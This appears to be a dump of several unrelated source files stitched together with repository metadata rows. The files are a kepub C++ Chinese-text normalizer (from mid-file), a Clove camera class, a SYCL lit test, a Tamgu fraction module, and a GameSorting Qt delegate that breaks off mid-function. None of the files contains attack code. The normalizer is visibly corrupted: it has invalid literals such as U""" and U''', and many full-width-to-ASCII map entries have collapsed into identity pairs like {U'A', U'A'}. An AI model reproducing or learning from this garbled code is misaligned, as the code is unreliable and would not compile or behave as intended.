} else if (result.ends_with(U">")) [[unlikely]] {
boost::erase_tail(result, 3);
result.push_back(U'>');
} else if (result.ends_with(U""")) [[unlikely]] {
boost::erase_tail(result, 5);
result.push_back(U'"');
} else if (result.ends_with(U"&apos")) [[unlikely]] {
boost::erase_tail(result, 5);
result.push_back(U'\'');
} else if (result.ends_with(U"&")) [[unlikely]] {
boost::erase_tail(result, 4);
result.push_back(U'&');
} else [[likely]] {
result.push_back(U';');
}
} else if (code_point == U'(') {
result.push_back(U'(');
} else if (code_point == U')') {
result.push_back(U')');
} else if (code_point == U'。') {
if (!std::empty(result) && result.back() == U'。') {
continue;
}
result.push_back(code_point);
} else if (code_point == U',') {
if (!std::empty(result) && result.back() == U',') {
continue;
}
result.push_back(code_point);
} else if (code_point == U'、') {
if (!std::empty(result) && result.back() == U'、') {
continue;
}
result.push_back(code_point);
} else {
result.push_back(code_point);
}
} else if (code_point == U'~') {
result.push_back(U'~');
} else {
char32_t c = code_point;
if (translation) {
static const phmap::flat_hash_map<char32_t, char32_t> map{
{U'幺', U'么'}};
if (auto iter = map.find(c); iter != std::end(map)) {
c = iter->second;
}
}
static const phmap::flat_hash_map<char32_t, char32_t> map{
{U'妳', U'你'},
{U'壊', U'坏'},
{U'拚', U'拼'},
{U'噁', U'恶'},
{U'歳', U'岁'},
{U'経', U'经'},
{U'験', U'验'},
{U'険', U'险'},
{U'撃', U'击'},
{U'錬', U'炼'},
{U'隷', U'隶'},
{U'毎', U'每'},
{U'捩', U'折'},
{U'殻', U'壳'},
{U'牠', U'它'},
{U'矇', U'蒙'},
{U'髮', U'发'},
{U'姊', U'姐'},
{U'黒', U'黑'},
{U'歴', U'历'},
{U'様', U'样'},
{U'甦', U'苏'},
{U'牴', U'抵'},
{U'銀', U'银'},
{U'齢', U'龄'},
{U'従', U'从'},
{U'酔', U'醉'},
{U'値', U'值'},
{U'発', U'发'},
{U'続', U'续'},
{U'転', U'转'},
{U'剣', U'剑'},
{U'砕', U'碎'},
{U'鉄', U'铁'},
{U'甯', U'宁'},
{U'鬪', U'斗'},
{U'寛', U'宽'},
{U'変', U'变'},
{U'鳮', U'鸡'},
{U'悪', U'恶'},
{U'霊', U'灵'},
{U'戦', U'战'},
{U'権', U'权'},
{U'効', U'效'},
{U'応', U'应'},
{U'覚', U'觉'},
{U'観', U'观'},
{U'気', U'气'},
{U'覧', U'览'},
{U'殭', U'僵'},
{U'郞', U'郎'},
{U'虊', U'药'},
{U'踼', U'踢'},
{U'逹', U'达'},
{U'鑜', U'锁'},
{U'髲', U'发'},
{U'髪', U'发'},
{U'実', U'实'},
{U'內', U'内'},
{U'穨', U'颓'},
{U'糸', U'系'},
{U'賍', U'赃'},
{U'掦', U'扬'},
{U'覇', U'霸'},
{U'姉', U'姐'},
{U'楽', U'乐'},
{U'継', U'继'},
{U'隠', U'隐'},
{U'巻', U'卷'},
{U'膞', U'膊'},
{U'髑', U'骷'},
{U'劄', U'札'},
{U'擡', U'抬'},
{U'⼈', U'人'},
{U'⾛', U'走'},
{U'⼤', U'大'},
{U'⽤', U'用'},
{U'⼿', U'手'},
{U'⼦', U'子'},
{U'⽽', U'而'},
{U'⾄', U'至'},
{U'⽯', U'石'},
{U'⼗', U'十'},
{U'⽩', U'白'},
{U'⽗', U'父'},
{U'⽰', U'示'},
{U'⾁', U'肉'},
{U'⼠', U'士'},
{U'⽌', U'止'},
{U'⼀', U'一'},
{U'⺠', U'民'},
{U'揹', U'背'},
{U'佈', U'布'},
{U'勐', U'猛'},
{U'嗳', U'哎'},
{U'纔', U'才'},
{U'繄', U'紧'},
{U'勧', U'劝'},
{U'鐡', U'铁'},
{U'犠', U'牺'},
{U'繊', U'纤'},
{U'郷', U'乡'},
{U'亊', U'事'},
{U'騒', U'骚'},
{U'聡', U'聪'},
{U'遅', U'迟'},
{U'唖', U'哑'},
{U'獣', U'兽'},
{U'読', U'读'},
{U'囙', U'因'},
{U'寘', U'置'},
{U'対', U'对'},
{U'処', U'处'},
{U'団', U'团'},
{U'祢', U'你'},
{U'閙', U'闹'},
{U'谘', U'咨'},
{U'摀', U'捂'},
{U'類', U'类'},
{U'諷', U'讽'},
{U'唿', U'呼'},
{U'噹', U'当'},
{U'沒', U'没'},
{U'別', U'别'},
{U'歿', U'殁'},
{U'羅', U'罗'},
{U'給', U'给'},
{U'頽', U'颓'},
{U'來', U'来'},
{U'裝', U'装'},
{U'燈', U'灯'},
{U'蓋', U'盖'},
{U'迴', U'回'},
{U'單', U'单'},
{U'勢', U'势'},
{U'結', U'结'},
{U'砲', U'炮'},
{U'採', U'采'},
{U'財', U'财'},
{U'頂', U'顶'},
{U'倆', U'俩'},
{U'祕', U'秘'},
{U'馀', U'余'},
// https://zh.wikipedia.org/wiki/%E5%85%A8%E5%BD%A2%E5%92%8C%E5%8D%8A%E5%BD%A2
{U'"', U'"'},
{U'#', U'#'},
{U'$', U'$'},
{U'%', U'%'},
{U'&', U'&'},
{U''', U'\''},
{U'*', U'*'},
{U'+', U'+'},
{U'.', U'.'},
{U'/', U'/'},
{U'0', U'0'},
{U'1', U'1'},
{U'2', U'2'},
{U'3', U'3'},
{U'4', U'4'},
{U'5', U'5'},
{U'6', U'6'},
{U'7', U'7'},
{U'8', U'8'},
{U'9', U'9'},
{U'<', U'<'},
{U'=', U'='},
{U'>', U'>'},
{U'@', U'@'},
{U'A', U'A'},
{U'B', U'B'},
{U'C', U'C'},
{U'D', U'D'},
{U'E', U'E'},
{U'F', U'F'},
{U'G', U'G'},
{U'H', U'H'},
{U'I', U'I'},
{U'J', U'J'},
{U'K', U'K'},
{U'L', U'L'},
{U'M', U'M'},
{U'N', U'N'},
{U'O', U'O'},
{U'P', U'P'},
{U'Q', U'Q'},
{U'R', U'R'},
{U'S', U'S'},
{U'T', U'T'},
{U'U', U'U'},
{U'V', U'V'},
{U'W', U'W'},
{U'X', U'X'},
{U'Y', U'Y'},
{U'Z', U'Z'},
{U'\', U'\\'},
{U'^', U'^'},
{U'`', U'`'},
{U'a', U'a'},
{U'b', U'b'},
{U'c', U'c'},
{U'd', U'd'},
{U'e', U'e'},
{U'f', U'f'},
{U'g', U'g'},
{U'h', U'h'},
{U'i', U'i'},
{U'j', U'j'},
{U'k', U'k'},
{U'l', U'l'},
{U'm', U'm'},
{U'n', U'n'},
{U'o', U'o'},
{U'p', U'p'},
{U'q', U'q'},
{U'r', U'r'},
{U's', U's'},
{U't', U't'},
{U'u', U'u'},
{U'v', U'v'},
{U'w', U'w'},
{U'x', U'x'},
{U'y', U'y'},
{U'z', U'z'},
{U'{', U'{'},
{U'|', U'|'},
{U'}', U'}'},
{U'。', U'。'},
{U'「', U'「'},
{U'」', U'」'},
{U'、', U'、'},
{U'・', U'·'},
{U'•', U'·'},
{U'─', U'—'},
{U'―', U'—'},
{U'∶', U':'},
{U'‧', U'·'},
{U'・', U'·'},
{U'﹑', U'、'},
{U'〜', U'~'},
{U'︰', U':'},
};
if (auto iter = map.find(c); iter != std::end(map)) {
c = iter->second;
}
result.push_back(c);
}
}
if (translation) {
boost::replace_all(result, U"颠复", U"颠覆");
}
boost::replace_all(result, U"赤果果", U"赤裸裸");
boost::replace_all(result, U"赤果", U"赤裸");
boost::replace_all(result, U"廿", U"二十");
boost::replace_all(result, U"卅", U"三十");
return result;
}
std::string do_trans_str(const std::u32string &str, bool translation) {
auto std_str = klib::utf32_to_utf8(custom_trans(str, translation));
klib::trim(std_str);
return std_str;
}
} // namespace
std::string trans_str(const std::string &str, bool translation) {
std::string std_str(std::data(str), std::size(str));
if (translation) {
static const Converter converter;
std_str = converter.convert(std_str);
}
return do_trans_str(klib::utf8_to_utf32(std_str), translation);
}
std::string trans_str(std::string_view str, bool translation) {
return trans_str(std::string(std::data(str), std::size(str)), translation);
}
std::string trans_str(const char *str, bool translation) {
return trans_str(std::string_view(str), translation);
}
} // namespace kepub
| 27.294664 | 88 | 0.378018 | Elaina-Alex |
866f9328f465d7491bea0d176dfd120ff44f12c5 | 1,508 | cpp | C++ | clove/source/Rendering/Camera.cpp | AGarlicMonkey/Garlic | 4f439b789b7db9fc7b2c104705f259c318be62fd | [
"MIT"
] | 33 | 2020-01-09T04:57:29.000Z | 2021-08-14T08:02:43.000Z | clove/source/Rendering/Camera.cpp | AGarlicMonkey/Garlic | 4f439b789b7db9fc7b2c104705f259c318be62fd | [
"MIT"
] | 234 | 2019-10-25T06:04:35.000Z | 2021-08-18T05:47:41.000Z | clove/source/Rendering/Camera.cpp | AGarlicMonkey/Garlic | 4f439b789b7db9fc7b2c104705f259c318be62fd | [
"MIT"
] | 4 | 2020-02-11T15:28:42.000Z | 2020-09-07T16:22:58.000Z | #include "Clove/Rendering/Camera.hpp"
#include "Clove/Rendering/RenderingLog.hpp"
#include <Clove/Maths/MathsHelpers.hpp>
namespace clove {
Camera::Camera(Viewport viewport, ProjectionMode const projection)
: viewport{ viewport }
, currentProjectionMode{ projection } {
setProjectionMode(projection);
}
Camera::Camera(ProjectionMode const projection)
: currentProjectionMode{ projection } {
viewport = { 0.0f, 0.0f, 1.0f, 1.0f };
setProjectionMode(projection);
}
mat4f Camera::getProjection(vec2ui const screenSize) const {
float constexpr orthographicSize{ 15.0f };
float constexpr fov{ 45.0f };
float const othoZoom{ orthographicSize * zoomLevel };
float const width{ static_cast<float>(screenSize.x) * viewport.width };
float const height{ static_cast<float>(screenSize.y) * viewport.height };
float const aspect{ height > 0.0f ? width / height : 0.0f };
switch(currentProjectionMode) {
case ProjectionMode::Orthographic:
return createOrthographicMatrix(-othoZoom * aspect, othoZoom * aspect, -othoZoom, othoZoom, nearPlane, farPlane);
case ProjectionMode::Perspective:
return createPerspectiveMatrix(fov * zoomLevel, aspect, nearPlane, farPlane);
default:
CLOVE_ASSERT_MSG(false, "{0}: Case not handled", CLOVE_FUNCTION_NAME_PRETTY);
return mat4f{ 1.0f };
}
}
} | 38.666667 | 129 | 0.653183 | AGarlicMonkey |
86709fecc85b33aec022a9d2e635e3bc93618c6c | 867 | cpp | C++ | SYCL/Config/config.cpp | gmlueck/llvm-test-suite | 7ff842b8fec970561fed78c9347e496538cf74f5 | [
"Apache-2.0"
] | 10 | 2020-08-04T04:29:03.000Z | 2022-02-23T21:43:56.000Z | SYCL/Config/config.cpp | gmlueck/llvm-test-suite | 7ff842b8fec970561fed78c9347e496538cf74f5 | [
"Apache-2.0"
] | 519 | 2020-09-15T07:40:51.000Z | 2022-03-31T20:51:15.000Z | SYCL/Config/config.cpp | gmlueck/llvm-test-suite | 7ff842b8fec970561fed78c9347e496538cf74f5 | [
"Apache-2.0"
] | 117 | 2020-06-24T13:11:04.000Z | 2022-03-23T15:44:23.000Z | //==---- config.cpp --------------------------------------------------------==//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
// RUN: %clangxx %debug_option -O0 -fsycl %s -o %t.out
// RUN: echo "SYCL_PRINT_EXECUTION_GRAPH=always" > %t.cfg
// RUN: env SYCL_CONFIG_FILE_NAME=%t.cfg %t.out
// RUN: ls | grep dot
// RUN: rm *.dot
// RUN: env SYCL_PRINT_EXECUTION_GRAPH=always %t.out
// RUN: ls | grep dot
// RUN: rm *.dot
// RUN: %t.out
// RUN: ls | not grep dot
#include <CL/sycl.hpp>
using namespace cl;
int main() {
sycl::buffer<int, 1> Buf(sycl::range<1>{1});
auto Acc = Buf.get_access<sycl::access::mode::read>();
}
| 32.111111 | 80 | 0.5594 | gmlueck |
86717848f86fed9f788afce3d1cf199e02dad018 | 1,965 | cxx | C++ | src/tamgufraction.cxx | naver/tamgu | 9532edc82aa90f7610dbd98dc379e0631de4b252 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | 192 | 2019-07-10T15:47:11.000Z | 2022-03-10T09:26:31.000Z | src/tamgufraction.cxx | naver/tamgu | 9532edc82aa90f7610dbd98dc379e0631de4b252 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | 5 | 2019-10-01T13:17:28.000Z | 2021-01-05T15:31:39.000Z | src/tamgufraction.cxx | naver/tamgu | 9532edc82aa90f7610dbd98dc379e0631de4b252 | [
"BSD-3-Clause-Clear",
"BSD-3-Clause"
] | 14 | 2019-09-23T03:39:59.000Z | 2021-09-02T12:20:14.000Z | /*
* Tamgu (탐구)
*
* Copyright 2019-present NAVER Corp.
* under BSD 3-clause
*/
/* --- CONTENTS ---
Project : Tamgu (탐구)
Version : See tamgu.cxx for the version number
filename : tamgufraction.cxx
Date : 2017/09/01
Purpose :
Programmer : Claude ROUX (claude.roux@naverlabs.com)
Reviewer :
*/
#include "tamgu.h"
#include "tamgufraction.h"
//We need to declare once again our local definitions.
Exporting basebin_hash<fractionMethod> Tamgufraction::methods;
Exporting hmap<string, string> Tamgufraction::infomethods;
Exporting basebin_hash<unsigned long> Tamgufraction::exported;
Exporting short Tamgufraction::idtype = 0;
//MethodInitialization will add the right references to "name", which is always a new method associated to the object we are creating
void Tamgufraction::AddMethod(TamguGlobal* global, string name, fractionMethod func, unsigned long arity, string infos) {
short idname = global->Getid(name);
methods[idname] = func;
infomethods[name] = infos;
exported[idname] = arity;
}
void Tamgufraction::Setidtype(TamguGlobal* global) {
Tamgufraction::InitialisationModule(global,"");
}
bool Tamgufraction::InitialisationModule(TamguGlobal* global, string version) {
methods.clear();
infomethods.clear();
exported.clear();
Tamgufraction::idtype = global->Getid("fraction");
Tamgufraction::AddMethod(global, "_initial", &Tamgufraction::MethodInitial, P_ONE | P_TWO, "_initial(n,d): initialize a fraction");
Tamgufraction::AddMethod(global, "nd", &Tamgufraction::MethodInitial, P_ONE | P_TWO, "nd(n,d): initialize a fraction");
Tamgufraction::AddMethod(global, "simplify", &Tamgufraction::MethodSimplify, P_NONE, "simplify(): simplify a fraction");
if (version != "") {
global->newInstance[Tamgufraction::idtype] = new Tamgufraction(global);
global->RecordMethods(Tamgufraction::idtype,Tamgufraction::exported);
}
return true;
}
| 32.213115 | 135 | 0.717048 | naver |
8671f5b698a2ed5a315728d966df1a15bb486d40 | 35,579 | cpp | C++ | src/ListViewDelegate.cpp | BlueDragon28/GameSorting | aef3604038b3084c26c0d4430f81c05a83c0f5de | [
"MIT"
] | null | null | null | src/ListViewDelegate.cpp | BlueDragon28/GameSorting | aef3604038b3084c26c0d4430f81c05a83c0f5de | [
"MIT"
] | null | null | null | src/ListViewDelegate.cpp | BlueDragon28/GameSorting | aef3604038b3084c26c0d4430f81c05a83c0f5de | [
"MIT"
] | null | null | null | /*
* MIT Licence
*
* This file is part of the GameSorting
*
* Copyright © 2022 Erwan Saclier de la Bâtie (BlueDragon28)
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "ListViewDelegate.h"
#include "TableModel_UtilityInterface.h"
#include "UtilityInterfaceEditor.h"
#include "UtilitySensitiveContentEditor.h"
#include "Common.h"
#include "TableModel.h"
#include "StarEditor.h"
#include "UtilityLineEdit.h"
#include "Settings.h"
#include <iostream>
#include <QPainter>
#include <QBrush>
#include <QColor>
#include <QSpinBox>
#include <QSqlQuery>
#include <QStringList>
#include <QSqlError>
ListViewDelegate::ListViewDelegate(
TableModel* tableModel,
SqlUtilityTable& utilityTable,
QSqlDatabase& db,
QObject* parent) :
QStyledItemDelegate(parent),
m_tableModel(tableModel),
m_utilityTable(utilityTable),
m_utilityInterface(m_tableModel->utilityInterface()),
m_db(db)
{}
ListViewDelegate::~ListViewDelegate()
{}
void ListViewDelegate::paint(QPainter* painter, const QStyleOptionViewItem& option, const QModelIndex& index) const
{
// Painting the delegate.
if (m_tableModel->listType() == ListType::GAMELIST)
{
if (index.column() == Game::RATE)
{
// Painting the stars.
paintRateStars(painter, option, index);
return;
}
else if (index.column() == Game::SENSITIVE_CONTENT)
{
paintSensitiveStars(painter, option, index);
return;
}
}
else if (m_tableModel->listType() == ListType::MOVIESLIST)
{
if (index.column() == Movie::RATE)
{
// Painting the stars.
paintRateStars(painter, option, index);
return;
}
else if (index.column() == Movie::SENSITIVE_CONTENT)
{
paintSensitiveStars(painter, option, index);
return;
}
}
else if (m_tableModel->listType() == ListType::COMMONLIST)
{
if (index.column() == Common::RATE)
{
// Painting the stars.
paintRateStars(painter, option, index);
return;
}
else if (index.column() == Common::SENSITIVE_CONTENT)
{
paintSensitiveStars(painter, option, index);
return;
}
}
else if (m_tableModel->listType() == ListType::BOOKSLIST)
{
if (index.column() == Books::RATE)
{
// Painting the starts.
paintRateStars(painter, option, index);
return;
}
else if (index.column() == Books::SENSITIVE_CONTENT)
{
paintSensitiveStars(painter, option, index);
return;
}
}
else if (m_tableModel->listType() == ListType::SERIESLIST)
{
if (index.column() == Series::RATE)
{
// Painting the stars.
paintRateStars(painter, option, index);
return;
}
else if (index.column() == Series::SENSITIVE_CONTENT)
{
paintSensitiveStars(painter, option, index);
return;
}
}
QStyledItemDelegate::paint(painter, option, index);
}
QSize ListViewDelegate::sizeHint(const QStyleOptionViewItem& option, const QModelIndex& index) const
{
// Returning the recommanded size of the field.
if (m_tableModel->listType() == ListType::GAMELIST)
{
if (index.column() == Game::RATE)
{
return StarEditor::sizeHint(5);
}
else if (index.column() == Game::SENSITIVE_CONTENT)
{
return QSize((int)StarEditor::paintFactor() * 15, 1);
}
}
else if (m_tableModel->listType() == ListType::MOVIESLIST)
{
if (index.column() == Movie::RATE)
{
return StarEditor::sizeHint(5);
}
else if (index.column() == Movie::SENSITIVE_CONTENT)
{
return QSize((int)StarEditor::paintFactor() * 15, 1);
}
}
else if (m_tableModel->listType() == ListType::COMMONLIST)
{
if (index.column() == Common::RATE)
{
return StarEditor::sizeHint(5);
}
else if (index.column() == Common::SENSITIVE_CONTENT)
{
return QSize((int)StarEditor::paintFactor() * 15, 1);
}
}
else if (m_tableModel->listType() == ListType::BOOKSLIST)
{
if (index.column() == Books::RATE)
{
return StarEditor::sizeHint(5);
}
else if (index.column() == Books::SENSITIVE_CONTENT)
{
return QSize((int)StarEditor::paintFactor() * 15, 1);
}
}
else if (m_tableModel->listType() == ListType::SERIESLIST)
{
if (index.column() == Series::RATE)
{
return StarEditor::sizeHint(5);
}
else if (index.column() == Series::SENSITIVE_CONTENT)
{
return QSize((int)StarEditor::paintFactor() * 15, 1);
}
}
return QStyledItemDelegate::sizeHint(option, index);
}
QWidget* ListViewDelegate::createEditor(QWidget* parent, const QStyleOptionViewItem& option, const QModelIndex& index) const
{
// Creating the editor
if (m_tableModel->listType() == ListType::GAMELIST)
{
if (index.column() == Game::RATE)
{
// Creating the editor for the edition of the rate column.
if (option.rect.width() >= 5 * StarEditor::paintFactor())
{
StarEditor* editor = new StarEditor(parent);
connect(editor, &StarEditor::editFinished, this, &ListViewDelegate::commitAndCloseEditor);
return editor;
}
else
{
QSpinBox* editor = new QSpinBox(parent);
editor->setRange(0, 5);
editor->setSingleStep(1);
return editor;
}
}
else if (index.column() == Game::SERIES ||
index.column() == Game::CATEGORIES ||
index.column() == Game::DEVELOPPERS ||
index.column() == Game::PUBLISHERS ||
index.column() == Game::PLATFORMS ||
index.column() == Game::SERVICES)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilityTableName tableName;
if (index.column() == Game::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Game::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Game::DEVELOPPERS)
tableName = UtilityTableName::DEVELOPPERS;
else if (index.column() == Game::PUBLISHERS)
tableName = UtilityTableName::PUBLISHERS;
else if (index.column() == Game::PLATFORMS)
tableName = UtilityTableName::PLATFORM;
else if (index.column() == Game::SERVICES)
tableName = UtilityTableName::SERVICES;
if (!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = new UtilityLineEdit(
tableName,
m_utilityTable,
m_db,
parent);
return editor;
}
else
{
UtilityInterfaceEditor* editor = new UtilityInterfaceEditor(
tableName,
itemID,
m_tableModel,
m_utilityInterface,
m_utilityTable,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (index.column() == Game::SENSITIVE_CONTENT)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilitySensitiveContentEditor* editor =
new UtilitySensitiveContentEditor(
itemID,
m_utilityInterface,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (m_tableModel->listType() == ListType::MOVIESLIST)
{
if (index.column() == Movie::RATE)
{
// Creating the editor for the edition of the rate column.
if (option.rect.width() >= 5 * StarEditor::paintFactor())
{
StarEditor* editor = new StarEditor(parent);
connect(editor, &StarEditor::editFinished, this, &ListViewDelegate::commitAndCloseEditor);
return editor;
}
else
{
QSpinBox* editor = new QSpinBox(parent);
editor->setRange(0, 5);
editor->setSingleStep(1);
return editor;
}
}
else if (index.column() >= Movie::SERIES &&
index.column() <= Movie::SERVICES)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilityTableName tableName;
if (index.column() == Movie::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Movie::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Movie::DIRECTORS)
tableName = UtilityTableName::DIRECTOR;
else if (index.column() == Movie::ACTORS)
tableName = UtilityTableName::ACTORS;
else if (index.column() == Movie::PRODUCTIONS)
tableName = UtilityTableName::PRODUCTION;
else if (index.column() == Movie::MUSIC)
tableName = UtilityTableName::MUSIC;
else if (index.column() == Movie::SERVICES)
tableName = UtilityTableName::SERVICES;
if (!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = new UtilityLineEdit(
tableName,
m_utilityTable,
m_db,
parent);
return editor;
}
else
{
UtilityInterfaceEditor* editor = new UtilityInterfaceEditor(
tableName,
itemID,
m_tableModel,
m_utilityInterface,
m_utilityTable,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (index.column() == Movie::SENSITIVE_CONTENT)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilitySensitiveContentEditor* editor =
new UtilitySensitiveContentEditor(
itemID,
m_utilityInterface,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (m_tableModel->listType() == ListType::COMMONLIST)
{
if (index.column() == Common::RATE)
{
// Creating the editor for the edition of the rate column.
if (option.rect.width() >= 5 * StarEditor::paintFactor())
{
StarEditor* editor = new StarEditor(parent);
connect(editor, &StarEditor::editFinished, this, &ListViewDelegate::commitAndCloseEditor);
return editor;
}
else
{
QSpinBox* editor = new QSpinBox(parent);
editor->setRange(0, 5);
editor->setSingleStep(1);
return editor;
}
}
else if (index.column() == Common::SERIES ||
index.column() == Common::CATEGORIES ||
index.column() == Common::AUTHORS)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilityTableName tableName;
if (index.column() == Common::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Common::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Common::AUTHORS)
tableName = UtilityTableName::AUTHORS;
if (!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = new UtilityLineEdit(
tableName,
m_utilityTable,
m_db,
parent);
return editor;
}
else
{
UtilityInterfaceEditor* editor = new UtilityInterfaceEditor(
tableName,
itemID,
m_tableModel,
m_utilityInterface,
m_utilityTable,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (index.column() == Common::SENSITIVE_CONTENT)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilitySensitiveContentEditor* editor =
new UtilitySensitiveContentEditor(
itemID,
m_utilityInterface,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (m_tableModel->listType() == ListType::BOOKSLIST)
{
if (index.column() == Books::RATE)
{
// Creating the editor for the edition of the rate column.
if (option.rect.width() >= 5 * StarEditor::paintFactor())
{
StarEditor* editor = new StarEditor(parent);
connect(editor, &StarEditor::editFinished, this, &ListViewDelegate::commitAndCloseEditor);
return editor;
}
else
{
QSpinBox* editor = new QSpinBox(parent);
editor->setRange(0, 5);
editor->setSingleStep(1);
return editor;
}
}
else if (index.column() == Books::SERIES ||
index.column() == Books::CATEGORIES ||
index.column() == Books::AUTHORS ||
index.column() == Books::PUBLISHERS ||
index.column() == Books::SERVICES)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilityTableName tableName;
if (index.column() == Books::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Books::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Books::AUTHORS)
tableName = UtilityTableName::AUTHORS;
else if (index.column() == Books::PUBLISHERS)
tableName = UtilityTableName::PUBLISHERS;
else if (index.column() == Books::SERVICES)
tableName = UtilityTableName::SERVICES;
if (!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = new UtilityLineEdit(
tableName,
m_utilityTable,
m_db,
parent);
return editor;
}
else
{
UtilityInterfaceEditor* editor = new UtilityInterfaceEditor(
tableName,
itemID,
m_tableModel,
m_utilityInterface,
m_utilityTable,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (index.column() == Books::SENSITIVE_CONTENT)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilitySensitiveContentEditor* editor =
new UtilitySensitiveContentEditor(
itemID, m_utilityInterface,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (m_tableModel->listType() == ListType::SERIESLIST)
{
if (index.column() == Series::RATE)
{
// Creating the editor for the edition of the rate column.
if (option.rect.width() >= 5 * StarEditor::paintFactor())
{
StarEditor* editor = new StarEditor(parent);
connect(editor, &StarEditor::editFinished, this, &ListViewDelegate::commitAndCloseEditor);
return editor;
}
else
{
QSpinBox* editor = new QSpinBox(parent);
editor->setRange(0, 5);
editor->setSingleStep(1);
return editor;
}
}
else if (index.column() == Series::EPISODE ||
index.column() == Series::SEASON)
{
// Creating the editor for the episode column.
QSpinBox* editor = new QSpinBox(parent);
editor->setRange(0, 0x7FFFFFFF);
editor->setSingleStep(1);
return editor;
}
else if (index.column() == Series::CATEGORIES ||
index.column() == Series::DIRECTORS ||
index.column() == Series::ACTORS ||
index.column() == Series::PRODUCTION ||
index.column() == Series::MUSIC ||
index.column() == Series::SERVICES)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilityTableName tableName;
if (index.column() == Series::CATEGORIES)
tableName = UtilityTableName::CATEGORIES;
else if (index.column() == Series::DIRECTORS)
tableName = UtilityTableName::DIRECTOR;
else if (index.column() == Series::ACTORS)
tableName = UtilityTableName::ACTORS;
else if (index.column() == Series::PRODUCTION)
tableName = UtilityTableName::PRODUCTION;
else if (index.column() == Series::MUSIC)
tableName = UtilityTableName::MUSIC;
else if (index.column() == Series::SERVICES)
tableName = UtilityTableName::SERVICES;
if (!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = new UtilityLineEdit(
tableName,
m_utilityTable,
m_db,
parent);
return editor;
}
else
{
UtilityInterfaceEditor* editor = new UtilityInterfaceEditor(
tableName,
itemID,
m_tableModel,
m_utilityInterface,
m_utilityTable,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
else if (index.column() == Series::SENSITIVE_CONTENT)
{
long long int itemID = m_tableModel->itemID(index);
if (itemID <= 0)
return nullptr;
UtilitySensitiveContentEditor* editor =
new UtilitySensitiveContentEditor(
itemID,
m_utilityInterface,
m_db,
parent);
editor->raise();
editor->activateWindow();
editor->show();
return nullptr;
}
}
return QStyledItemDelegate::createEditor(parent, option, index);
}
void ListViewDelegate::setEditorData(QWidget* e, const QModelIndex& index) const
{
// Setting the fild data to the editor.
const TableModel* model = reinterpret_cast<const TableModel*>(index.model());
if (model->listType() == ListType::GAMELIST)
{
if (index.column() == Game::RATE)
{
StarEditor* starEditor = dynamic_cast<StarEditor*>(e);
if (starEditor)
{
starEditor->setStars(index.data().toInt());
return;
}
QSpinBox* spinEditor = dynamic_cast<QSpinBox*>(e);
if (spinEditor)
{
spinEditor->setValue(index.data().toInt());
return;
}
}
else if (index.column() >= Game::SERIES &&
index.column() <= Game::SERVICES &&
!Settings::instance().isLegacyUtilEditor())
{
UtilityLineEdit* editor = dynamic_cast<UtilityLineEdit*>(e);
if (editor)
{
long long int itemID = m_tableModel->itemID(index);
UtilityTableName tableName;
if (index.column() == Game::SERIES)
tableName = UtilityTableName::SERIES;
else if (index.column() == Game::CATEGORIES)
